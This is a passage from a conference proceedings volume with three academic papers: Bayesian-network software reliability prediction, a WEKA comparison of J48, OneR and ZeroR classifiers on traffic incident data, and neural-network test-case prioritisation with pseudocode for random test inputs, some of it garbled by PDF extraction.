direction, and scale mode. Musicae Scientiae 8, 151–173 (2004)
15. Joder, C., Essid, S., Richard, G.: Temporal integration for audio classification with application
to musical instrument classification. IEEE Trans. Audio Speech Lang. Proc. 17, 174–186
(2009)
16. Eronen, A.: Comparison of features for musical instrument recognition. In: IEEE Workshop on
the Applications of Signal Processing to Audio and Acoustics, pp. 19–22 (2001)
17. Eronen, A., Klapuri, A.: Musical instrument recognition using cepstral coefficients and
temporal features. In: IEEE Int. Conf. Acoustics Speech Signal Proc. (ICASSP’00) 2,
II753–II756 (2000)
18. Chui, C.K.: An Introduction to Wavelets, vol. 1. Academic Press (2014)
19. Hlawatsch, P.F., Boudreaux-Bartels, G.: Special Issue on Wavelets and Signal Processing.
Urbana (51) 61801
20. Li, G., Khokhar, A.A.: Content-based indexing and retrieval of audio data using wavelets.
IEEE Int. Conf. Multimedia Expo (ICME) 2, 885–888 (2000)
21. Li, T., Ogihara, M., Li, Q.: A comparative study on content-based music genre classification.
In: Proceedings of the 26th Annual International ACM SIGIR Conference on Research and
Development in Information Retrieval, ACM, pp. 282–289 (2003)
22. Tzanetakis, G., Essl, G.: Automatic musical genre classification of audio signals. In:
Proceedings in International Symposium on Music Information Retrieval, ISMIR (Oct. 2001)
23. Wold, E., Blum, T., Keislar, D., Wheaten, J.: Content-based classification, search, and
retrieval of audio. MultiMedia IEEE 3, 27–36 (1996)
24. Kim, H.G., Sikora, T.: Audio spectrum projection based on several basis decomposition
algorithms applied to general sound recognition and audio segmentation. na (2004)
25. Lerch, A.: An Introduction to Audio Content Analysis: Applications in Signal Processing and
Music Informatics. Wiley (2012)
26. Sun, X.: Pitch determination and voice quality analysis using subharmonic-to-harmonic ratio.
IEEE Int. Conf. Acoustics Speech Signal Proc. (ICASSP) 1, I–333 (2002)
27. Koolagudi, S., Shivakranthi, B., Rao, K.S., Ramteke, P.B.: Contribution of telugu vowels in
identifying emotions. In: Eighth International Conference on Advances in Pattern Recognition
(ICAPR), IEEE, pp. 1–6 (2015)
28. Berenzweig, A.L., Ellis, D.P., Lawrence, S.: Using voice segments to improve artist
classification of music. In: Audio Engineering Society Conference: 22nd International
Conference: Virtual, Synthetic, and Entertainment Audio, Audio Engineering Society (2002)
29. Murthy, Y.S., Koolagudi, S.G.: Classification of vocal and non-vocal regions from audio
songs using spectral features and pitch variations. In: IEEE 28th Canadian Conference on
Electrical and Computer Engineering (CCECE), IEEE, pp. 1–6 (2015)
Software Reliability Based on Software
Measures Applying Bayesian Technique
Anitha Senathi, Gopika Vinod and Dipti Jadhav
Abstract Safety critical systems such as nuclear power plants, chemical plants,
avionics, etc., see an increasing usage of computer-based controls in regulation,
protection, and control systems. Reliability is an important quality factor for such
safety critical digital systems. The characteristics of such digital critical systems are
explicitly or implicitly reflected by its software engineering measures. Therefore,
these measures can be used to infer or predict the reliability of the system. Hence
Software Engineering measures are the best indicators of the software reliability.
This paper proposes a methodology to predict software reliability using software
measures. The selected measures are used to develop Bayesian belief network
model predict reliability of such safety critical digital systems.
Keywords Software reliability model Bayesian belief network Software

engineering
1 Introduction
During the past few decades, the digital revolution has made society increasingly
dependent on programmable digital equipment. Such equipment to a great degree
have become important for our safety, and one must therefore trust that it performs
its tasks in a correct and reliable way. Traditionally, there are various kinds of
equipment one places confidence in, from car brakes and train stop signals to
A. Senathi (&) D. Jadhav

Ramrao Adik Institute of Technology, Mumbai University, Mumbai, India
e-mail: anithasenathi@gmail.com
D. Jadhav
e-mail: jadhav_dips@yahoo.co.in
G. Vinod
Bhabha Atomic Research Centre, Mumbai, India
e-mail: vgopika@barc.gov.in

168 A. Senathi et al.
emergency shutdown systems in nuclear power plants. The introduction of digital

technology in safety critical systems has many advantages, both concerning flex-
ibility and reliability. The modern software-based digital systems consist of hard-
ware and software that controls the hardware. Hence reliability assessment should
consider the failures of both hardware and software. In case of hardware reliability
evaluation, it is assumed that the device design is fundamentally correct. It is
assumed that failures happen because of wear and tear of device. However, the
reliability of hardware devices can be arrived based on the failure rates under
different stress scenarios. Unlike hardware, the failures of software applications are
mainly due to fundamental design errors. There are no universally accepted qual-
itative methods for assuring that safety critical software is free of defects to a
desired reliability level [1].
2 Background
Software reliability is defined as the probability that software will not cause the
failure of a system for a specified time under specified conditions [1]. There are
many models for predicting reliability of a system, one of them being the early
prediction model which uses software engineering measures for reliability predic-
tion [2, 3]. A measure provides a quantitative indication of the extent, amount,
dimension, capacity, or size of some attribute of a software product or process [1].
Keeping in view this current state of early prediction model, a need was felt to
decide on two important aspects. (1) Shortlist the software engineering measures
using expert elicitation. (2) Formulate a technique to combine software metrics for
software reliability prediction. This paper focuses on formulating a technique to
develop a model for predicting software reliability using Bayesian technique based
on the recommendation suggested in the technical report [4].
3 Bayesian Belief Network
A Bayesian belief network (BBN) is a graphical network (influence diagram) and

associated probability distributions that represent probabilistic relationships among
variables, even if the relationships involve uncertainty, unpredictability, or impre-
cision. A Bayesian belief net (BBN) is a directed graph, together with an associated
set of probability tables. The graph consists of nodes and arcs. The nodes represent
variables, which can be discrete or continuous. The arcs represent causal/influential
relationships between variables. BBNs can be used to help make optimal decisions,
develop control systems, or make plans and predict events based on partial or
uncertain data [4].
Software Reliability Based on Software Measures … 169
The various steps for developing a model for software reliability prediction are as
follows:
4.1 Identification and Ranking of Measures
Identification of software reliability measures is based on recommendations of the

technical report NUREG-GR0019 [1] which suggests around 40 measures, which
are useful for predicting reliability. Based on the recommendations of the
NUREG-0019 [1] report, a few measures were added and a few were removed
judiciously. A total of 48 software engineering measures were identified. To rank
the measures, the opinions were collected from experts based on five criteria like
software requirement safety, quality of development process, quality of V&V
process, complexity and prior estimate of reliability. Later, these opinions were
aggregated using fuzzy multilevel criteria methodology and [5] ranked these soft-
ware engineering measures for each of the criteria.
4.2 Construction of the BBN Model
The various steps required to construct the BBN model for implementation phase of
software development life cycle (SDLC) are shown in Fig. 1. The criteria that
would be applicable for Implementation phase of SDLC are software requirement
safety, quality of development process, and complexity. The top five ranked
measures in each of the criteria applicable for implementation phase of SDLC as
listed in Table 1 are selected to construct BBN. Software measures will act as
observable nodes and the criteria will act as non-observable node. The node can be
discrete or continuous depending on the nature of value of the metrics. The state of
the nodes is determined based on the expert knowledge. For instance, the state of
node “software capability maturity model” would be L5, L4, L3, L2, and L1. The
states of the rest of nodes can be referred from Fig. 2. Using a similar approach,
the entire BBN model is constructed based on the casual relationship between the
nodes.
The next crucial step is to input the probability distribution in conditional
probability tables of the observable nodes and non-observable nodes. They provide
a probability for each state of the node, given the condition specified by the row
(i.e., each parent node having some value), so the probabilities of each row must
sum to one. These conditional probability distributions are otherwise called as prior
knowledge.
Identify the criterion that impacts the Implementation phase of SDLC
Create observable and non-observable nodes
Identify the states for the identified software measures
Input the Conditional Probability (prior probability) in table
Compile the Net and Finalise the model
Input the findings ie. the software metrics (posterior probability)
Probabilistic inference is evaluated and the Reliability is predicted
Fig. 1 Steps to construct Bayesian belief network to predict reliability
Table 1 Sample metrics for software engineering measures

Measure SCMM Requirement Fault-days Coupling Cause and Req.
traceability number between effect change
objects graphing request
Metrics L5 90 % 10 30 88 7
Measure Attribute Coupling Data flow Cyclomatic Requirement
inheritance factor complexity complexity compliance
factor
Metrics 60 % 8 8 30 80 %
5 Application of Methodology
Once the model is built, the actual metrics values for each of the nodes representing
the software measures can be entered into the model as findings/evidences. Once
the findings are entered, the probabilistic inference is evaluated and the reliability is
predicted.
Fig. 2 BBN model for implementation phase of SDLC
6 Results
The BN model in Fig. 2 represents the Bayesian model developed for implemen-
tation phase of SDLC based on the proposed methodology.
The reliability prediction for a sample case/findings/evidences is shown in Fig. 3
for the implementation phase of SDLC. The details of the case/findings/evidence
are given in Table 1. It can be noticed that the findings in terms of software metrics
is entered to the model, the model evaluates the probabilistic inference, and the
reliability is predicted. With the sample case data, the reliability for implementation
phase is predicted as greater than 0.9999 with confidence of 97.6 %.
Fig. 3 BBN Model for Implementation Phase of SDLC with findings
6.1 Model Evaluation
The model would require extensive testing to validate their suitability for predicting
software reliability. Validation of model with single test data may not be sufficient,
but it could give confidence that the models are not invalid. Evaluation of model
would require a large amount of operational reliability data against which the model
results can be compared.
7 Conclusion and Future Scope of Work
Software engineering measures are the best indicators of software reliability. The
elicited expert opinion data was aggregated using fuzzy multilevel methodology [5]
to identify the top ranked measures. These results are used to construct the Bayesian
belief network for implementation phase of the software development life cycle to
predict reliability. As a case study, the metrics generated on any software appli-
cation can be used as evidence for BBN model and quantitative estimation of
software reliability can be evaluated. The model can also trained if a good amount
of operational data is available instead of manually inputting the probability dis-
tribution for the unobserved nodes. The strength of proposed methodology is that
reliability can be predicted at the earliest phase of the software development cycle
and corrective measures can be taken if the reliability of the system is not satis-
factory. It is also robust, since the BBN models are developed considering all top
ranked measures instead of a few measures as proposed in the NUREG/GR-0019
report. Usage of Bayesian technique also gives the advantage of building a flexible
model.
As the future scope, the model evaluation can be carried out against the available
operational reliability data. Also, the Bayesian models for SRS, design, and V&V
phases can be developed using the same approach and an overall reliability pre-
diction of the software system can be evaluated.
References
1. NUREG/GR-0019, UMD-RE-2000–23: Software Engineering Measures for predicting

Software Reliability in Safety Critical Digital Systems, October 2000
2. Ramamoorthy, C.V., Bastani, F.B.: Software Reliability-Status and Perspectives. IEEE (1982)
3. Fenton, N., Neil, M., Marquez, D.: Using Bayesian networks to predict software defects and
reliability. Proc. IMechE Part O: J. Risk Reliab. 222 2008
4. Johnson, G., Dennis Lawrence, J., Yu, X.: Conceptual Software Reliability Prediction Models
for Nuclear Power Plant Safety Systems. IUCRL-ID-138577, Lawrence Livermore National
Laboratory, April 2000
5. Singh, R., Singh, O., Singh, Y.: A methodology for ranking of software reliability measures.
IE(I) J.-CP 87 (Nov 2006)
6. Pai, G., Bechta-Dugan, J., Lateef, K.: Bayesian Networks Applied to Software IV & V. IEEE
(2005)
7. IEEE Std 982.1 TM-2005: IEEE Standard Dictionary of Measures of the software Aspects of
Dependability
8. Li, Q, Jiang, M.: Software Reliability Qualitative evaluation Method Based on Bayesian
Networks, vol. 1, pp. 104–106. Press of Xidian University (2003)
9. Kumthekar, A.V.., Patil, J.K.: Ranking software engineering measures related to reliability
using expert opinion. Int. J. Sci. Res. Eng. Technol. (IJSRET) 2, 207–214 (2013)
10. Lyu Micheal, R.: Handbook of Software Reliability Engineering. McGraw-Hill and IEEE
Computer Society Press, NewYork (1996)
11. Fenton, N., Neil, M.: Predicting software quality using bayesian belief networks. In:
Proceedings of 21st Annual Software Engineering Workshop NASA/Goddard Space Flight
Centre (1996)
12. Fenton, N., Neil, M., Galan Caballero, J.: Using ranked nodes to model qualitative judgements
in bayesian networks. IEEE Trans. Knowl. Data Eng. (2006)
13. Smids, C.S., Shi, Y., Li, M., Kong, W., Dai, J.: A large scale validation of a methodology for
assessing software reliability. In: NUREG/CR-7042 (2011)
14. Chawla, S., Nath, R.: Evaluating inheritance and coupling metrics. IJETT 4(7), (July 2013)
15. Benlarbi, S., Emam, K.E.L.: Thresholds for object-oriented measures. In: National Research
Council of Canada (2000)
16. Alves, T.L., Ypma, C., Visser, J.: Deriving Metric Thresholds from Benchmark Data
17. Cais, Š., Pícha, P.: Identifying Software Metrics Thresholds for Safety Critical System.
ISBN:978-0-9891305-8-5 ©2014 SDIWC
On Context Awareness and Analysis
of Various Classification Algorithms
Umang Nanda, Shrey Rajput, Himanshu Agrawal,

Antriksh Goel and Mohit Gurnani
Abstract Internet of Things (IoT) is currently connecting 9 billion devices and is

expected to grow by three times in next 5 years, and hence will connect over 27
billion devices. IoT is touching every walk of human life such as health care, smart
utilities, smart grid, smart homes, and smart spaces. To make things or object smart,
IoT middleware makes use of appropriate intelligent mechanisms. Context-aware
solutions are addressing the challenges of IoT middleware, hence becoming an
important building block. We provide an analytical study of various algorithms for
classification. We consider three algorithms and test the performances of each on
small dataset as well as on larger dataset with 1969 instances. Performance evalu-
ation is done using Mean Square Error and Absolute Mean Square Error.
Keywords Context awareness Classification Internet of things
1 Introduction
Ubiquitous and Pervasive computing are thoroughly researched domains in

Computer Science and Engineering. There is a growing interest in context aware-
ness to address various challenges in IoT middleware. IoT is connecting everything
U. Nanda (&) S. Rajput H. Agrawal A. Goel M. Gurnani

Computer Science and Engineering Department, Symbiosis Institute
of Technology, Pune, Maharashtra, India
e-mail: umang.nanda@sitpune.edu.in
S. Rajput
e-mail: shrey.rajput@sitpune.edu.in
H. Agrawal
A. Goel
e-mail: antriksh.goel@sitpune.edu.in
M. Gurnani
e-mail: mohit.gurnani@sitpune.edu.in

176 U. Nanda et al.
and is expected to connect over 27 billion devices by 2020. IoT is touching every
walk of human life, such as health care, smart utilities, smart grid, smart homes,
smart building and smart spaces. To make things or objects smart, IoT middleware
makes use of appropriate intelligent mechanisms. Context-aware solutions are
addressing the challenges of IoT middleware hence are becoming an important
building block.
As defined in [1–3] context refers to the situation, location, environment
and time of an entity. As evident from any Intelligent System, unprocessed data is
taken directly from sensors and then applied for preprocessing for selection of
features from the large initial dataset. To get good features, we apply high-level
selection of feature mechanism. Context-aware mechanism helps in terms of
addressing to various issues in the smart homes, smart spaces and Network
Intrusion detection by selecting set of good features defining context.
With the advanced sensor technology and tremendous growth in cloud archi-
tecture, we can have large number of sensors and may afford to generate large
amount of data i.e. big data. Today, sensor can not only sense but also communicate
with each other for information exchange, smart sensor and data storage on the
remote server. To generate some meaningful information from the data, it is
essential to analyze and interpret the collected data. Here, context-aware computing
plays a key role to provide high-level knowledge to assist the decision making in
any smart system. For instance, in an Intelligent Transportation System multiple
sensors can be used to record the temperature, speed, range and location to generate
a context for accident avoidance. There is an additional body of knowledge in the
context-aware domain [4–7].
We consider three different classification algorithms and test the performance on
a small dataset as well as larger dataset with 1969 instances. Performance evalu-
ation is done using Mean Square Error and Root-Mean-Square Error. Rest of
sections are organized as follows.
Next section presents the classification algorithms used in the paper. In Sect. 3,
simulation experiments are presented followed by results in Sect. 4. We conclude
and provide future direction in the last section.
CLASSIFICATION
J48 ONE RULE ZERO RULE
PROS: PROS: PROS:

Easy to interpret. Easy Computation Less Number of steps
Non – Parametric
CONS: CONS: CONS:
Easily Over fit Non Continuous Data Less accurate
On Context Awareness and Analysis … 177
2 Algorithms Used
We have conducted an analysis of various machine learning classification algo-

rithms [8, 9]. We are using three algorithms: J48, One rule and Zero rule.
2.1 J48 Algorithm for Classification
The J48 classification algorithm [10], takes into consideration the values possible for
the test data and chooses a test that yields the best information gain. When a training
set is obtained, it identifies the attribute that distinguishes the various instances in the
most clear way. From the possible values, if there is an attribute with unique value
and if it has a similar value as that of target value, then the branch is ended. For the
other cases, other attribute with maximum gain is considered. This process continues
until we obtain a combination of attributes with maximum information gain or till
have no attributes to test. The scenario in which we have no more attributes, the
branch is assigned an average value or the value majorly possessed by the items.
2.2 One Rule Classification Algorithm
One Rule is a classification algorithm that obtains a unique rule for a particular
predictor in the given dataset. The attributes that classify are known as predictors
and the attribute classified is known as the target. After the generation of rule, the
rule with the smallest error is selected as “one rule.” A frequency table is generated
for the creation of rule for a predictor.
178 U. Nanda et al.
2.3 Zero Rule Classification Algorithm
ZeroR [11] is the classification method which considers the target and avoids all
predictors. ZeroR classifier predicts the class in majority in the target class. ZeroR
is not very accurate so ZeroR can be used initially to classify dataset, and in
addition an advanced algorithm can be applied to this classified dataset for
accurate result.
3 Simulation
This section presents the process of simulation. Simulation is conducted using the
tool WEKA.
3.1 Dataset
We are using an Intelligent Transportation System (ITS) dataset [12]. Intelligent

Transportation System aims to develop a system that is intelligent enough to
analyze the present situation and aims at providing safe and accident-free modes of
transport. For this purpose, dataset of transport is considered in this example which
will extract desired features to classify area. The dataset describes 5 attributes and
1969 instances. The attributes are:
• Incident ID: It defines unique incident identifier.
• Start Time: It refers to the time of the occurrence of the accident. The time is in
format: MM/DD/YYYY HH24: MI: SS.
• CA PM: CA PM defines the position where incident takes place using the
California post mile system.
• Area: Area defines area where the incident occurred.
• Description: The description attribute defines the reason behind the incident.
3.2 Evaluation Metrics
For purpose of analysis, following parameters have been considered:

• Correctly Classified Instances:
It is the count of instances correctly classified by the algorithm.
• Incorrectly Classified Instances:
It is count of classifiers the algorithm failed to classify correctly.
• Mean Absolute Error:
MAE [4] refers to the difference between obtained values and predicted values.
The formula of mean absolute error is
1X n
1X n
MAE ¼ fi yi ¼ ei ;
n i¼1 n i¼1
where fi is prediction, yi the true value, and n the number of items.

• Root-Mean-Square Error:
RMSE refers to the difference between values being predicted and the actual
values observed from the environment being modeled.
sffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffi
Pn 2
i1 ðXobsi Xmodeli Þ
RMSE ¼
n
Here Xobs the observed values, Xmodel the modeled values at time or place i.
• Performance Time
It is the time taken by the algorithm to categorize the dataset.
3.3 Results and Discussion
The table below shows the results when area was classified. J48, ZeroR, and OneR
were used for classification of two kinds of dataset. The dataset was similar but first
three results are an outcome of 1969 instances and the next three results were the
outcome of 145 instances (Fig. 1).
As shown in Table 1, the highest accuracy is 100 % when 145 instances are
simulated and the highest accuracy is 99.8984 % when 1969 instances are simu-
lated. The lowest accuracy recorded in case of 1969 instances and 145 instances is
68.8516 and 68.2759 % simultaneously. The highest accuracy is in the case of
OneR, and subsequently J48 and ZeroR. We can say that the processing time of
ZeroR is the shortest which is 0.001 s. OneR and J48 require the same and longest
time which is around 0.02 s. From the Fig. 2, we can notice the differences in error
value resulting from the training dataset of the selected algorithms. This experiment
180 U. Nanda et al.
Fig. 1 Comparison of algorithms with algorithm on x-axis and classified instances on y-axis
Table 1 Comparison of J48, one rule and zero rule

Algorithm Correctly Incorrectly MSE RMSE Performance No. of
classified classified time (s) instances
instances (%) instances (%)
J48 89.6341 10.3659 0.0163 0.0902 0.02 1969
ZeroR 68.8516 31.1484 0.0537 0.1631 0.001
OneR 99.8984 0.1016 0.0001 0.0103 0.02
J48 88.9655 11.0345 0.0328 0.1281 0.001 145
(small)
ZeroR 68.2759 31.7241 0.1174 0.2374 0.001
(small)
OneR 100 0 0 0 0.001
(small)
Fig. 2 Comparison of algorithms with algorithm on x-axis and error on y-axis
considers a commonly used indicator: mean of absolute errors and root-mean–

square errors. It is seen that the highest error is found in ZeroR with score of around
0.0537, whereas J48 has the score of 0.0163 and OneR has 0.0001. An algorithm
with a lower error will be preferred because such algorithms guarantee powerful
classification capability and ability.
4 Conclusion
Our focus is on context-aware applications. The beneficiaries of context-aware

systems range from smart spaces, Intrusion Detection System, Ambient Assisted
living and smart utilities. In this paper, we present initial experimental results.
Moreover, we are intending to extend our work using Dempster Shafer theory. We
have used a public dataset of Road Transportation System, San Francisco for study.
As an ongoing work, we are focusing to use this theory of evidence for the
multisensor data fusion from the data collected from different sensors for Intelligent
Transportation System in India.
References
1. Abowd, G.D., et al.: Towards a better understanding of context and context-awareness. In:
Proceedings of 1st International symposium on Handheld and Ubiquitous Computing,
pp. 304–307 (2012)
2. Schilit, B., Theimer, M.: Disseminating active map information to mobile hosts. IEEE Netw. 8
(5), 22–32 (1994)
3. Sanchez, L., et al.: A generic context management framework for personal networking
environments. In: Mobile and Ubiquitous Systems—Workshops, 3rd Annual International
Conference on, pp. 1–8 (2006)
4. Dey, A.: Towards a better understanding of context and context-awareness. In: 1st
International Symposium on Handheld and Ubiquitous Computing (1999)
5. Ranganathan, C.: An infrastructure for context-awareness based on first order logic. Pers.
Ubiquit. Comput. (2003)
6. Xu, He, Li: Internet of things in industries—a survey. IEEE Trans. Industr. Inf. (2014)
7. Beynon, C.: The dempster–shafer theory of evidence: an alternative approach to multicriteria
decision modelling. Omega 37–50 (2000)
8. Charalampopoulos, A.: A comparable study employing weka clustering/classification
algorithms for web page classification. In: 15th Panhellenic Conference, pp. 235–239 (2011)
9. Narwal, M.: Comparison of the various clustering and classification algorithms of WEKA
tools. Int. J. Adv. Res. Comput. Sci. Software Eng. (2013)
10. Holmes, Donkin, Witten: WEKA: A machine learning workbench. In: Second Australian and
New Zealand Conference, pp. 357–361 (1994)
11. The University of Waikato: http://www.cs.waikato.ac.nz/ml/
12. Department of Transportation: https://catalog.data.gov/dataset/intelligent-transportation-
systems-research-data-exchange-san-diego-gps-trips-dataset
Neural Network-Based Automated
Priority Assigner
Harsh Bhasin, Esha Khanna and Kapil Sharma
Abstract The testing of a system starts with the crafting of test cases. Not all the test
cases are, however, equally important. The test cases can be prioritized using pol-
icies discussed in the work. The work proposes a neural network model to prioritize
the test cases. The work has been validated using backpropagation neural network.
200 test cases were crafted and the experiment was carried out using 2, 5, 10, 15, and
20 layers neural network. The results have been reported and lead to the conclusion
that neural network-based priority analyzer can predict the priority of a test.

Keywords Algorithms Reliability Verification Neural networks Black-box

testing Automated test case generation
1 Introduction
Software testing is the soul of software development life cycle. It is the process,
which ensures the quality of the software being developed. However, the develop-
ment team might not find errors in its own program. It, therefore, becomes essential
to get the software tested from a third party. In that case, the developers may not like
to give their code to testing team and therefore black-box testing, which only con-
siders input and output of a module, remains the sole option. It has been observed by
many researches that requirement analysis and design specifications can help the
testing team to test the software effectively and efficiently [1, 3].
H. Bhasin (&)
Department of Computer Science, Jamia Hamdard, New Delhi, India
e-mail: i_harsh_bhasin@yahoo.com
E. Khanna
Department of Computer Science, AITM, Faridabad, India
e-mail: eshakhanna30@gmail.com
K. Sharma
Department of Computer Science, Delhi Technological University, New Delhi, India
e-mail: kapil@ieee.org

184 H. Bhasin et al.
If enterprise resource planning system is to be tested, the number of controls is

large and the number of test cases, which covers all features becomes colossal. It
therefore becomes essential to prioritize the test cases on the basis of their
importance. The policies, that would determine the importance of test cases, have
already been dealt with in one of the earlier works [7]. The model of automated test
case generation has also been presented in one of our earlier works [5]. This work
takes the concept forward and presents the implementation of the model, discusses
the results, and presents conclusions.
The work assumes importance owing to its novelty to deal with black-box test
cases, its ability to segregate them, and its capacity to help the testers. This pri-
oritization of test cases would also help in regression testing [6, 9]. The work is a
part of our larger endeavor to develop a comprehensive system which would
automate the very difficult process of software testing. It may be also stated here
that the system dealing with automation of development of test cases using cellular
automata and artificial life has also been dealt in our earlier works [5, 8, 10, 11].
2 Background
The testing of software, efficiently and effectively, within a given time and resources
is a difficult task [4]. To overcome this problem, automated test data generators are
used. One such automated test data generator for white box testing, named “Cellular
Automata-based Test Data Generator (CTDG)” has already been dealt with in one of
our previous works [8, 11]. However, while testing, code of a module might not be
available in which case black-box testing is used. Automated generation of test cases
for black-box testing was dealt with by “Artificial life” which uses module inter-
action diagrams [5]. Along with the above mentioned things, it is important to reveal
maximum number of bugs. In order to achieve this, test data for black box suite have
been prioritized using NN approach [7]. The work used module interaction diagram
(MID) generator [5] in order to determine the flow in which, modules call each other.
A test suite generator, using cellular automata [8, 11], is used to generate the test
cases. The work also enlists test case prioritization policies. The database of test
cases and the priority policies are presented to NN model. Output of this model is the
prioritized test cases. Thus, the work used NN in order to prioritize the test cases
therefore improves the quality of testing.
3 Literature Review
Testing is an essential phase in software development process. The aim of testing is

to uncover the errors and bugs in the software hence maintaining the quality of the
software [12–14]. Software testing is the process of executing a program or system
with the intent of finding errors [17].
Neural Network-Based Automated Priority Assigner 185
An extensive literature review has been carried out in order to find out the
techniques which use NN to carry out the task of software testing. The review also
tries to find out the gaps in the existing literature. Several databases including IEEE
explore, ACM, Springer and Wiley online have been searched. The review has been
carried out according to the guidelines proposed by Kitchenham [15]. Some of
these techniques which use NN in testing have been listed in Table 1.
Table 1 Literature review

Author Premises Verification
Wu et al. The work uses the backpropagation neural The proposed methodology has been
[21] network to disclose software faults in used to test large scale software
functional testing. The method has been systems and automatic teller machine
used to create automatic set of test cases (ATM)
covering the functionality in software
Saraph In order to reduce the number of test An algorithm has been used for
et al. [19] cases, neural networks has been used as network pruning. Neural network
classifiers in order to identify input output pruning has been used in order to
relations, ranking features, and forming reduce the number. of test cases
equivalence classes of input domain
Paul and The work proposes conditions in order to The proposed methodology has been
Byrne reduce the number of learning iterations in applied on XOR learning algorithm
[18] backpropagation neural network. The first which has resulted in reduction in
is to scale the output with respect to the number of learning rules
input. Second, the work proposes to learn
input pattern selectively rather
sequentially
Vanmali The work presents artificial neural Two-layer neural network has been
et al. [20] network as an automated oracle to used in order to detect the faults in
determine whether a test case passes or mutated code
fails. Neural network is trained by
backpropagation algorithm and training is
based on black-box testing
Aggarwal The work compares artificial neural The work reviews and compares two
et al. [1] network and info fuzzy networks as methods and results of the
automated oracles on the basis of ROC experiment have been documented
curves, training time, and dispersion
analysis
Anderson A mechanism for automatically generating The work has been applied to prune a
et al. [2] test cases has been presented. The test case set using neural networks
technique has the ability to learn on the and the results have been presented
basis of past history
Larry Neural networks has been used in order to Neural networks has been used to
et al. [16] reveal the diagnostic circuit faults. Testing classify variation of signals
strategy has been developed on the basis
of performance rather than domain
expertise
4 Proposed Work
In order to carry out software testing, test data is required. Test data may consist of
many fields, most important of which are inputs and corresponding outputs. Input
data is created using a random input data generator (RIDG). RIDG extracts mini-
mum and maximum range corresponding to each input. A set of 5 algorithms
accomplish the above task. Table 2 shows the task accomplished by various
algorithms. Tables 3 and 4 shows the methods and variables used in the algorithm.
Algorithm 1. Black Box Testing

Algorithm BlackBoxTesting(design specification)
i=0;
for i
{
input[i][j]=RandomInputDataGenerator(design
specification);
i++;
}
output[i][j]=manuallyExecute(inputs[i][j]);
priortizedTestCases=priority(inputs,outputs);
Algorithm 2. Random Input Data Generator

Algorithm RandomInputDataGenerator(DesignSpecification)
inputs[] = extractInput (DesignSpecification);
for each inputi in inputs []
{
low = extractMinRange (inputi);
high = extractMaxRange (inputi);
}
If (input= =integer)
Integer[j]=outputInteger(low,high);
else if (input= = string)
string[j]=outputString(low,high);
else if (input= =float)
float[j]=outputfloat(low,high);
return(integer[j]);
return(string[j]);
return(float[j]);
Algorithm 3. Output Integer

Algorithm outputInteger(low, high)
int a = rand ()% high;
a > low ? a : a + low;
return (a);
Algorithm 4. Output String

Algorithm outputString(low,high)
Length = maxlength;
a[] = rand () % length;
return(a);
Algorithm 5. Output Float

Algorithm outputFloat(low, high)
int a=rand() % high;
a > low ? a : a + low;
low1=101;
high1=999;
int b= rand() % high1;
b>low1 ? b: b+ low1;
return(a+.b);
Table 2 Algorithms used

Algorithm Algorithm Task accomplished
no.
Algorithm 1 Black-box testing The algorithm creates set of test data (input, output), stores
it in a database, and prioritizes the test data, using priority
rules. Input data is obtained by random input data generator
and outputs are obtained by manually executing the input
data
Algorithm 2 Random input This algorithm randomly generates input data by extracting
data generator inputs from design specifications and then extracting ranges
for each input
Algorithm 3 outputInteger The algorithm generates a random input value for integer. It
takes low and high as parameters
Algorithm 4 outputString The algorithm generates a random input value for string. It
Algorithm 5 outputFloat The algorithm generates a random input value for float. It
Table 3 Methods used in algorithms

Method name Parameters Task accomplished
RandomInputDataGenetrator Design The function uses design specifications to
specifications extract the input specification and stores it in a
2D array inputs
manuallyExecute Inputs[i][j] The method executes the test cases and
generates output corresponding to inputs in
array inputs[i][j] and stores it in outputs[i][j]
Priority Inputs[][], The function prioritizes the test data using the
outputs[][] priority rules and stores it in prioritized test
cases
extractInput Design It extracts inputs from design specification and
specification stores in array input
extractMinRange Inputs The function extracts minimum range for each
input ‘i’ and stores the result in ‘low’
extractMaxRange Inputs The function extracts maximum range for each
input ‘i’ and stores the result in ‘high’
outputInteger Low, high The function uses minimum and maximum
range and returns an integer input within the
specified range
outputSting Low, high The function uses minimum and maximum
range and returns a string input within the
specified range
Table 4 Variables used in algorithms

Variable name Data Description
type
Input 2D It stores all the inputs extracted from random input
Array datagenerator
Output 2D It stores all the outputs corresponding to each input
Array
priortizedTestCases Array It stores the test data (inputs, outputs) which has been
prioritized using priority rules
Low Integer It stores the minimum input range for the corresponding
input
High Integer It stores the maximum output range for the corresponding
input
Integer Array It stores the randomly chosen input integer values
String Array It stores the randomly chosen input string values
Float Array It stores the randomly chosen input float values
Variable name Data Description
type
Output data are gathered by manually executing the program input data and
observing the responses. The test data is then stored in database. However, all the
test cases are not equally important. In order to carry out effective testing, in limited
Fig. 1 First phase of BBTPF
Fig. 2 Second phase of BBTPF
amount of time and resources, the test data needs to be prioritized. The test cases are
prioritized using the prioritization policies enlisted in one of our earlier works [7].
The prioritizing policies are applied to test data in order to generate prioritized test
data. Prioritized test data is used to train and verify the neural network model. For
an instance, if 1000 test cases have been developed, then 70 % of test cases are used
to train the network and remaining 30 % are used for verification and validation.
The overall model of proposed work is shown in Figs. 1 and 2.
The above framework has been verified using a professional ERP system
developed by SahibSoft. The software is about 8k lines of code, developed in c#.
Net framework.
5 Results
The proposed work has been verified by backpropagation neural network.

Levenberg–Marquardt backpropagation (‘TRAINLM’ training function) is chosen.
Input to the networks is test case data and output is the priority assigned to cor-
responding test cases. The work is implemented using 2 layer, 5 layer, 10 layer, 15
layer, and 20 layer network. Input matrix is 7 × 121 and output matrix is 1 × 121.
The trained network is then verified using a sample data with 30 inputs and sample
matrix is 1 × 30. The work is carried out using MATLAB software. “nntool”
command is used to carry out training and simulation of the neural network.
The results point to the fact that the variation in the number of layers does not
result in a major difference in the output. The number of layers of the model can
therefore be decided corresponding to the complexity of the system and the pre-
cision needed.
References
1. Aggarwal, D., Tamir, D., Last, M., Kandel, A.: A comparative study of artificial neural
network and info fuzzy network as automated oracles in software testing. IEEE Trans. Syst.
Man Cybern. 42(5), (2012)
2. Anderson, C., Mayrhauser, A., Marz, R.: On the use of neural networks to guide software
testing activities. In: International Test Conference IEEE (1995)
3. Beizer, B.: Software Testing Techniques (2nd Ed.). Van Nostrand Reinhold Co., New York,
NY, USA (1990)
4. Bertolino, A.: A Brief Essay on Software Testing, vol. 1. Wiley-IEEE (2005)
5. Bhasin, H.: Artificial life and cellular automata based automated test case generator.
